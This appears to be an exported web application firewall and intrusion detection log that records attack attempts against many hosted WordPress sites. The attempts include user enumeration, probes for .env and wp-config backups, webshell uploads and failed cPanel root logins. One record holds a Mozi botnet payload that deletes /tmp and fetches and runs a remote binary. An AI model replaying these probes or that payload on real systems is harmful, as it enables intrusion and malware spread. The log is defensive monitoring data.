IM360 WAF: Track WP REST API Basic Auth (App-Password channel)||UA:Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:133.0) Gecko/20100101 Firefox/133.0||MV:/wp-json/wp/v2/users/me||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.194.92.58
country_id: 6252001
domain: azenv.net
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/azenv.net/ HTTP/1.1||RSV:8.21||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.198.224.5
country_id: 6252001
description:
[2026-06-27 23:20:10 -0400] info [whostmgrd] 45.198.224.5 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 45.198.224.5
country_id: 6252001
description:
[2026-06-27 23:20:10 -0400] info [whostmgrd] 45.198.224.5 - root "GET /scripts2/listaccts HTTP/1.1" DEFERRED LOGIN whostmgrd: security token missing


plugin: modsec
rule: 77963523
name: IM360 WAF: Track WP REST API Basic Auth (App-Password channel)
abuser: 85.215.252.72
country_id: 2921044
domain: bibo.trangotech.dev
description:
IM360 WAF: Track WP REST API Basic Auth (App-Password channel)||UA:Mozilla/5.0 (Macintosh; Intel Mac OS X 14_7_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36||MV:/wp-json/wp/v2/users/me||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 103.255.134.61
country_id: 1269750
domain: rideralert.trangotech.dev
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:8.21||T:APACHE||MV:/wp-json/wp/v2/users/8?_fields=id,slug,roles||


plugin: modsec
rule: 33341
name: IM360 WAF: Track file upload for Infectors
abuser: 140.213.9.219
country_id: 1643084
domain: bookemfarm.trangotech.dev
description:
IM360 WAF: Track file upload for Infectors||RSV:8.21||T:APACHE||SC:/home/bookemfarmtrang/public_html/wp-admin/admin-ajax.php||User:bookemfarmtrang||WPU:||


plugin: modsec
rule: 33331
name: IM360 WAF: Attempt to upload malware
abuser: 140.213.9.219
country_id: 1643084
domain: bookemfarm.trangotech.dev
description:
IM360 WAF: Attempt to upload malware||Action:wpb_ajax_post||Scan duration:217416||Sizes:89965||Combined size:89965||User:bookemfarmtrang||WPU:||Filename:nujchh6b.php||Scanned:/tmp//20260628-072616-akEE2N_YDAAptSEhY9WkTQAAAAo-file-EgZbvx||SC:/home/bookemfarmtrang/public_html/wp-admin/admin-ajax.php||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 140.213.9.219
country_id: 1643084
domain: bookemfarm.trangotech.dev
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.21||T:APACHE||MV:/wp-content/uploads/2026/06/nujchh6b.php||SC:/home/bookemfarmtrang/public_html/wp-content/uploads/2026/06/nujchh6b.php||


plugin: modsec
rule: 77350034
name: IM360 WAF: CSRF to RCE in Tatsu Plugin for WordPress (CVE-2021-25094)
abuser: 140.213.9.219
country_id: 1643084
domain: bookemfarm.trangotech.dev
description:
IM360 WAF: CSRF to RCE in Tatsu Plugin for WordPress (CVE-2021-25094)||RSV:8.21||T:APACHE||MVN:REQUEST_HEADERS:Referer||MV:https://www.yahoo.com/||


plugin: modsec
rule: 33331
name: IM360 WAF: Attempt to upload malware
abuser: 140.213.9.219
country_id: 1643084
domain: bookemfarm.trangotech.dev
description:
IM360 WAF: Attempt to upload malware||Action:||Scan duration:85424||Sizes:89965||Combined size:89965||User:bookemfarmtrang||WPU:||Filename:pfo7h33v.php||Scanned:/tmp//20260628-072743-akEFL80oiZok5FrOfLxGpgAAAAU-file-vWrHdT||SC:/home/bookemfarmtrang/public_html/wp-admin/admin-ajax.php||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77517934
name: IM360 WAF: Access to PHP file in WCDP uploads blocked (CVE-2025-6440)
abuser: 140.213.9.219
country_id: 1643084
domain: bookemfarm.trangotech.dev
description:
IM360 WAF: Access to PHP file in WCDP uploads blocked (CVE-2025-6440)||MV:/wp-content/uploads/wcdp-uploads/temp/efintcvy/phiymmkj.php||SC:||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 143.58.152.227
country_id: 2635167
domain: aiyaamerica.trangotech.dev
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:07-43.143.58.152.227||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 87.106.124.154
country_id: 2510769
domain: constructionconnect.trangotech.dev
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:8.21||T:APACHE||MV:/wp-json/wp/v2/users?roles=administrator&per_page=100&_fields=slug||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 104.28.243.190
country_id: 3017382
domain: popappweb.trangotech.dev
description:
IM360 WAF: Bad file extension||RSV:8.21||T:APACHE||MVN:REQUEST_FILENAME||MV:/storage/logs/laravel.log||User:popapptrangotech||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 104.28.243.190
country_id: 3017382
domain: popappweb.trangotech.dev
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.21||T:APACHE||RA:104.28.243.190||TA:104.28.243.190||


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 20.185.96.226
country_id: 6252001
domain: argate.trangotech.dev
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:8.21||T:APACHE||MV:/wp-json/wp/v2/users?per_page=100||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 103.87.212.37
country_id: 1210997
domain: bookemfarm.trangotech.dev
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.21||T:APACHE||MV:/vpcaca0tt0bwp6tygbeCdefault.php/wp-content/uploads/makeasmtp.php||SC:/home/bookemfarmtrang/public_html/vpcaca0tt0bwp6tygbeCdefault.php||


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 74.7.243.228
country_id: 6252001
domain: toju.trangotech.dev
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:8.21||T:APACHE||MV:/wp-json/wp/v2/users/1||


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 207.180.238.18
country_id: 3017382
domain: movielanguagetranslator.trangotech.dev
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:8.21||T:APACHE||MV:/wp-json/wp/v2/users?per_page=100&_fields=id,slug||


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 34.195.135.127
country_id: 6252001
domain: floristtrader.trangotech.dev
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/109.0.5414.168 Safari/537.36||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 103.3.247.5
country_id: 1562822
domain: pickntip.trangotech.dev
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:8.21||T:APACHE||MV:/wp-json/wp/v2/users/6?_fields=id,slug,roles||


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 62.60.131.177
country_id: 130758
domain: pics2report.trangotech.dev
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:8.21||T:APACHE||MV:/wp-json/wp/v2/users?per_page=100&_fields=id,slug,name,link,roles||


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 13.216.227.78
country_id: 6252001
domain: kylenet.trangotech.dev
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/109.0.5414.119 Safari/537.36||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 34.195.125.215
country_id: 6252001
domain: nationalsteelbuildings.trangotech.dev
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/136.0.0.0 Safari/537.36||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 34.195.125.215
country_id: 6252001
domain: needa.trangotech.dev
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/132.0.0.0 Safari/537.36||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 104.28.251.194
country_id: 6252001
domain: midwest.trangotech.dev
description:
IM360 WAF: Bad file extension||RSV:8.21||T:APACHE||MVN:REQUEST_FILENAME||MV:/storage/logs/laravel.log||User:midwesttrangotec||


plugin: modsec
rule: 77350374
name: IM360 WAF: Scan attempt by bytespider crawler
abuser: 104.28.251.194
country_id: 6252001
domain: midwest.trangotech.dev
description:
IM360 WAF: Scan attempt by bytespider crawler||UA:Mozilla/5.0 (compatible; Bytespider; spider-feedback@bytedance.com)||RSV:8.21||T:APACHE||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 104.28.251.194
country_id: 6252001
domain: midwest.trangotech.dev
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.21||T:APACHE||RA:104.28.251.194||TA:104.28.251.194||


plugin: modsec
rule: 77316831
name: IM360 WAF: Suspicious WordPress plugin installation attempt
abuser: 114.79.7.217
country_id: 1643084
domain: bookemfarm.trangotech.dev
description:
IM360 WAF: Suspicious WordPress plugin installation attempt||File:p8lct0deuj8qjyqx0ujl.zip||WPU:admin||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77316831
name: IM360 WAF: Suspicious WordPress plugin installation attempt
abuser: 180.252.92.238
country_id: 1643084
domain: staging.marktechfusion.com
description:
IM360 WAF: Suspicious WordPress plugin installation attempt||File:uuhhhh7.zip||WPU:marktechadmin||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 180.252.92.238
country_id: 1643084
domain: staging.marktechfusion.com
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/149.0.0.0 Safari/537.36||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 100.51.194.111
country_id: 6252001
domain: shustle.trangotech.dev
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/131.0.6778.85 Safari/537.36||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 34.224.5.136
country_id: 6252001
domain: tradingfmcg.trangotech.dev
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/134.0.0.0 Safari/537.36 Edg/134.0.0.0||RSV:8.21||T:APACHE||


plugin: modsec
rule: 33341
name: IM360 WAF: Track file upload for Infectors
abuser: 180.252.88.41
country_id: 1643084
domain: staging.marktechfusion.com
description:
IM360 WAF: Track file upload for Infectors||RSV:8.21||T:APACHE||SC:/home/stagingmarktech/public_html/wp-content/plugins/FQfPSh50g/FQfPSh50gmas.php||User:stagingmarktech||WPU:||


plugin: modsec
rule: 33341
name: IM360 WAF: Track file upload for Infectors
abuser: 180.252.87.172
country_id: 1643084
domain: bookemfarm.trangotech.dev
description:
IM360 WAF: Track file upload for Infectors||RSV:8.21||T:APACHE||SC:/home/bookemfarmtrang/public_html/wp-content/plugins/p8lct0deuj8qjyqx0ujl/bijbyawplfhzvqkmtfdiitCmass.php||User:bookemfarmtrang||WPU:||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.198.224.5
country_id: 6252001
description:
[2026-06-28 19:11:54 -0400] info [whostmgrd] 45.198.224.5 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 45.198.224.5
country_id: 6252001
description:
[2026-06-28 19:11:54 -0400] info [whostmgrd] 45.198.224.5 - root "GET /scripts2/listaccts HTTP/1.1" DEFERRED LOGIN whostmgrd: security token missing


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 35.198.46.122
country_id: 3469034
domain: shadow.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/frontend/.git/config||RSV:8.21||T:APACHE||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 34.142.139.199
country_id: 1880251
domain: bizooka.trangotech.dev
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.21||T:APACHE||RA:34.142.139.199||TA:34.142.139.199||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 43.245.111.151
country_id: 1880251
description:
[2026-06-29 01:45:18 -0400] info [whostmgrd] 43.245.111.151 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 157.66.26.183
country_id: 1562822
domain: cruzmeweb.trangotech.dev
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:8.21||T:APACHE||MV:/wp-json/wp/v2/users/5?_fields=id,slug,roles||


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 157.66.26.183
country_id: 1562822
domain: cruzmeweb.trangotech.dev
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:8.21||T:APACHE||MV:/wp-json/wp/v2/users/10?_fields=id,slug,roles||


plugin: modsec
rule: 77316728
name: IM360 WAF: Netgear unauthenticated RCE
abuser: 120.85.117.250
country_id: 1814991
description:
IM360 WAF: Netgear unauthenticated RCE||RSV:8.21||T:APACHE||MVN:ARGS:cmd||MV:rm -rf /tmp/*;wget http://192.168.1.1:8088/Mozi.m -O /tmp/netgear;sh netgear||


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 162.255.116.165
country_id: 6252001
domain: popappweb.trangotech.dev
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:8.21||T:APACHE||MV:/wp-json/wp/v2/users?exclude=999999&per_page=100&_fields=id,slug||


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 103.106.104.172
country_id: 1562822
domain: cramar.trangotech.dev
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:8.21||T:APACHE||MV:/wp-json/wp/v2/users?has_published_posts=true&per_page=100&_fields=slug||


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 185.110.189.235
country_id: 2921044
domain: cramar.trangotech.dev
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:8.21||T:APACHE||MV:/wp-json/wp/v2/users/7?_fields=id,slug,roles||


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 103.106.104.172
country_id: 1562822
domain: busyloop.trangotech.dev
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:8.21||T:APACHE||MV:/wp-json/wp/v2/users?context=edit&per_page=100&_fields=slug||


plugin: ossec
rule: 5715
name: SSHD authentication success.
abuser: 192.168.0.89
description:
Jun 29 07:20:52 staging sshd[3221019]: Accepted publickey for ansible from 192.168.0.89 port 40140 ssh2: RSA SHA256:xws9shc+5QT2iAE1QNKkNZC6rO4FO1Xzz2bj1jOINps


plugin: modsec
rule: 77350207
name: IM360 WAF: WordPress plugins/themes version enumeration
abuser: 34.121.95.234
country_id: 6252001
domain: bts.trangotech.dev
description:
IM360 WAF: WordPress plugins/themes version enumeration||RSV:8.21||T:APACHE||REQUEST_URI:/wp-includes/wlwmanifest.xml||


plugin: modsec
rule: 77963523
name: IM360 WAF: Track WP REST API Basic Auth (App-Password channel)
abuser: 95.111.235.75
country_id: 3017382
domain: volta.trangotech.dev
description:
IM360 WAF: Track WP REST API Basic Auth (App-Password channel)||UA:Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.3 Safari/605.1.15||MV:/wp-json/wp/v2/users/me||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 54.241.229.32
country_id: 6252001
domain: express.trangotech.dev
description:
IM360 WAF: Bad file extension||RSV:8.21||T:APACHE||MVN:REQUEST_FILENAME||MV:/.env.backup||User:expresstrangotec||


plugin: modsec
rule: 77963523
name: IM360 WAF: Track WP REST API Basic Auth (App-Password channel)
abuser: 103.82.22.235
country_id: 1562822
domain: volta.trangotech.dev
description:
IM360 WAF: Track WP REST API Basic Auth (App-Password channel)||UA:Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36||MV:/wp-json/wp/v2/users/me||RSV:8.21||T:APACHE||


plugin: ossec
rule: 5715
name: SSHD authentication success.
abuser: 192.168.0.89
description:
Jun 29 10:44:17 staging sshd[3287336]: Accepted publickey for ansible from 192.168.0.89 port 33536 ssh2: RSA SHA256:xws9shc+5QT2iAE1QNKkNZC6rO4FO1Xzz2bj1jOINps


plugin: modsec
rule: 77963523
name: IM360 WAF: Track WP REST API Basic Auth (App-Password channel)
abuser: 117.0.21.154
country_id: 1562822
domain: boat.trangotech.dev
description:
IM360 WAF: Track WP REST API Basic Auth (App-Password channel)||UA:Mozilla/5.0 (X11; Linux x86_64; rv:133.0) Gecko/20100101 Firefox/133.0||MV:/wp-json/wp/v2/users/me||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77963523
name: IM360 WAF: Track WP REST API Basic Auth (App-Password channel)
abuser: 167.71.240.77
country_id: 6252001
domain: stephencohenlaw.trangotech.dev
description:
IM360 WAF: Track WP REST API Basic Auth (App-Password channel)||UA:Mozilla/5.0 (X11; Fedora; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36||MV:/wp-json/wp/v2/users/me||RSV:8.21||T:APACHE||


plugin: ossec
rule: 5715
name: SSHD authentication success.
abuser: 192.168.0.89
description:
Jun 29 11:12:23 staging sshd[3302129]: Accepted publickey for ansible from 192.168.0.89 port 50202 ssh2: RSA SHA256:xws9shc+5QT2iAE1QNKkNZC6rO4FO1Xzz2bj1jOINps


plugin: ossec
rule: 5715
name: SSHD authentication success.
abuser: 192.168.0.89
description:
Jun 29 11:20:53 staging sshd[3311442]: Accepted publickey for ansible from 192.168.0.89 port 54492 ssh2: RSA SHA256:xws9shc+5QT2iAE1QNKkNZC6rO4FO1Xzz2bj1jOINps


plugin: modsec
rule: 77963523
name: IM360 WAF: Track WP REST API Basic Auth (App-Password channel)
abuser: 103.255.134.61
country_id: 1269750
domain: teletext.trangotech.dev
description:
IM360 WAF: Track WP REST API Basic Auth (App-Password channel)||UA:Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36||MV:/wp-json/wp/v2/users/me||RSV:8.21||T:APACHE||


plugin: ossec
rule: 5715
name: SSHD authentication success.
abuser: 192.168.0.89
description:
Jun 29 11:32:48 staging sshd[3328537]: Accepted publickey for ansible from 192.168.0.89 port 47546 ssh2: RSA SHA256:xws9shc+5QT2iAE1QNKkNZC6rO4FO1Xzz2bj1jOINps


plugin: ossec
rule: 5715
name: SSHD authentication success.
abuser: 192.168.0.89
description:
Jun 29 11:36:52 staging sshd[3336636]: Accepted publickey for ansible from 192.168.0.89 port 54956 ssh2: RSA SHA256:xws9shc+5QT2iAE1QNKkNZC6rO4FO1Xzz2bj1jOINps


plugin: ossec
rule: 5715
name: SSHD authentication success.
abuser: 192.168.0.89
description:
Jun 29 11:41:15 staging sshd[3342671]: Accepted publickey for ansible from 192.168.0.89 port 40170 ssh2: RSA SHA256:xws9shc+5QT2iAE1QNKkNZC6rO4FO1Xzz2bj1jOINps


plugin: modsec
rule: 77963523
name: IM360 WAF: Track WP REST API Basic Auth (App-Password channel)
abuser: 78.142.18.172
country_id: 732800
domain: boat.trangotech.dev
description:
IM360 WAF: Track WP REST API Basic Auth (App-Password channel)||UA:Mozilla/5.0 (X11; CrOS x86_64 14541.0.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36||MV:/wp-json/wp/v2/users/me||RSV:8.21||T:APACHE||


plugin: ossec
rule: 5715
name: SSHD authentication success.
abuser: 192.168.0.89
description:
Jun 29 12:22:43 staging sshd[3359791]: Accepted publickey for ansible from 192.168.0.89 port 55972 ssh2: RSA SHA256:xws9shc+5QT2iAE1QNKkNZC6rO4FO1Xzz2bj1jOINps


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 45.148.10.246
country_id: 2750405
domain: 38.95.35.74
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/.env?_=r43x9z41&v=nsoxg||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 45.148.10.246
country_id: 2750405
domain: 38.95.35.74
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/.env?_=qmzp1f9m&v=3rryu||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 45.148.10.246
country_id: 2750405
domain: 38.95.35.74
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/srv/.env?_=8pc8f3bw&v=2bhu3||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 45.148.10.246
country_id: 2750405
domain: 38.95.35.74
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/var/www/html/.git/config?_=bppw8j2p&v=j9tn3||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77963523
name: IM360 WAF: Track WP REST API Basic Auth (App-Password channel)
abuser: 78.142.18.172
country_id: 732800
domain: boat.trangotech.dev
description:
IM360 WAF: Track WP REST API Basic Auth (App-Password channel)||UA:Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:133.0) Gecko/20100101 Firefox/133.0||MV:/wp-json/wp/v2/users/me||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 13.216.227.78
country_id: 6252001
domain: eximpowp.epcwms.com
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/131.0.0.0 Safari/537.36||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77963523
name: IM360 WAF: Track WP REST API Basic Auth (App-Password channel)
abuser: 152.228.213.32
country_id: 3017382
domain: stephencohenlaw.trangotech.dev
description:
IM360 WAF: Track WP REST API Basic Auth (App-Password channel)||UA:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36||MV:/wp-json/wp/v2/users/me||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77963523
name: IM360 WAF: Track WP REST API Basic Auth (App-Password channel)
abuser: 185.70.185.130
country_id: 2750405
domain: movielanguagetranslator.trangotech.dev
description:
IM360 WAF: Track WP REST API Basic Auth (App-Password channel)||UA:Mozilla/5.0 (X11; Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36||MV:/wp-json/wp/v2/users/me||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77142201
name: IM360 WAF: Possible enumeration of sensitive data (dirb)
abuser: 183.171.69.172
country_id: 1733045
domain: bts.trangotech.dev
description:
IM360 WAF: Possible enumeration of sensitive data (dirb)||MVN:REQUEST_BASENAME||RSV:8.21||T:APACHE||MV:.env~||


plugin: modsec
rule: 77350212
name: IM360 WAF: Information Disclosure Attempt in WordPress
abuser: 95.163.145.59
country_id: 1522867
domain: bts.trangotech.dev
description:
IM360 WAF: Information Disclosure Attempt in WordPress||MV:/wp-config.php~||RSV:8.21||T:APACHE||REQUEST_URI:/wp-config.php~||


plugin: modsec
rule: 77350212
name: IM360 WAF: Information Disclosure Attempt in WordPress
abuser: 31.223.136.252
country_id: 3277605
domain: bts.trangotech.dev
description:
IM360 WAF: Information Disclosure Attempt in WordPress||MV:/wp-config.php.old||RSV:8.21||T:APACHE||REQUEST_URI:/wp-config.php.old||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 31.223.136.252
country_id: 3277605
domain: bts.trangotech.dev
description:
IM360 WAF: Bad file extension||RSV:8.21||T:APACHE||MVN:REQUEST_FILENAME||MV:/wp-config.php.old||User:btstrangotech||


plugin: modsec
rule: 77350212
name: IM360 WAF: Information Disclosure Attempt in WordPress
abuser: 196.114.191.206
country_id: 2542007
domain: bts.trangotech.dev
description:
IM360 WAF: Information Disclosure Attempt in WordPress||MV:/wp-config.php.save||RSV:8.21||T:APACHE||REQUEST_URI:/wp-config.php.save||


plugin: modsec
rule: 77142201
name: IM360 WAF: Possible enumeration of sensitive data (dirb)
abuser: 95.163.145.59
country_id: 1522867
domain: bts.trangotech.dev
description:
IM360 WAF: Possible enumeration of sensitive data (dirb)||MVN:REQUEST_BASENAME||RSV:8.21||T:APACHE||MV:wp-config.php~||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 196.201.67.212
country_id: 2287781
domain: bts.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/storage/framework/.env||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77963523
name: IM360 WAF: Track WP REST API Basic Auth (App-Password channel)
abuser: 185.153.203.86
country_id: 597427
domain: popappweb.trangotech.dev
description:
IM360 WAF: Track WP REST API Basic Auth (App-Password channel)||UA:Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36||MV:/wp-json/wp/v2/users/me||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 118.27.99.215
country_id: 1861060
domain: volta.trangotech.dev
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:8.21||T:APACHE||MV:/wp-json/wp/v2/users/me||


plugin: ossec
rule: 5715
name: SSHD authentication success.
abuser: 192.168.20.5
description:
Jun 29 15:37:06 staging sshd[3421750]: Accepted publickey for gulzar.ali from 192.168.20.5 port 55098 ssh2: RSA SHA256:pOs0AnaKP05KLlLUzCVZXobbujdQRd1vUuJ9Q0NN0X4


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 91.90.123.62
country_id: 2802361
domain: midwest.trangotech.dev
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/148.0.7778.96 Safari/537.36||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 34.231.169.219
country_id: 6252001
domain: midwest.trangotech.dev
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/149.0.0.0 Safari/537.36||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77316831
name: IM360 WAF: Suspicious WordPress plugin installation attempt
abuser: 114.79.3.243
country_id: 1643084
domain: bookemfarm.trangotech.dev
description:
IM360 WAF: Suspicious WordPress plugin installation attempt||File:ejlucde6wtu92z98ofc2.zip||WPU:admin||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 94.206.150.15
country_id: 290557
domain: cramar.trangotech.dev
description:
IM360 WAF: Bad file extension||RSV:8.21||T:APACHE||MVN:REQUEST_FILENAME||MV:/.env.backup||User:cramartrangotech||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 182.10.99.128
country_id: 1643084
domain: kingdom.trangotech.dev
description:
IM360 WAF: Bad file extension||RSV:8.21||T:APACHE||MVN:REQUEST_FILENAME||MV:/.env.swp||User:kingdomtrangotec||


plugin: modsec
rule: 77142201
name: IM360 WAF: Possible enumeration of sensitive data (dirb)
abuser: 182.10.99.128
country_id: 1643084
domain: kingdom.trangotech.dev
description:
IM360 WAF: Possible enumeration of sensitive data (dirb)||MVN:REQUEST_BASENAME||RSV:8.21||T:APACHE||MV:.env.swp||


plugin: modsec
rule: 77350457
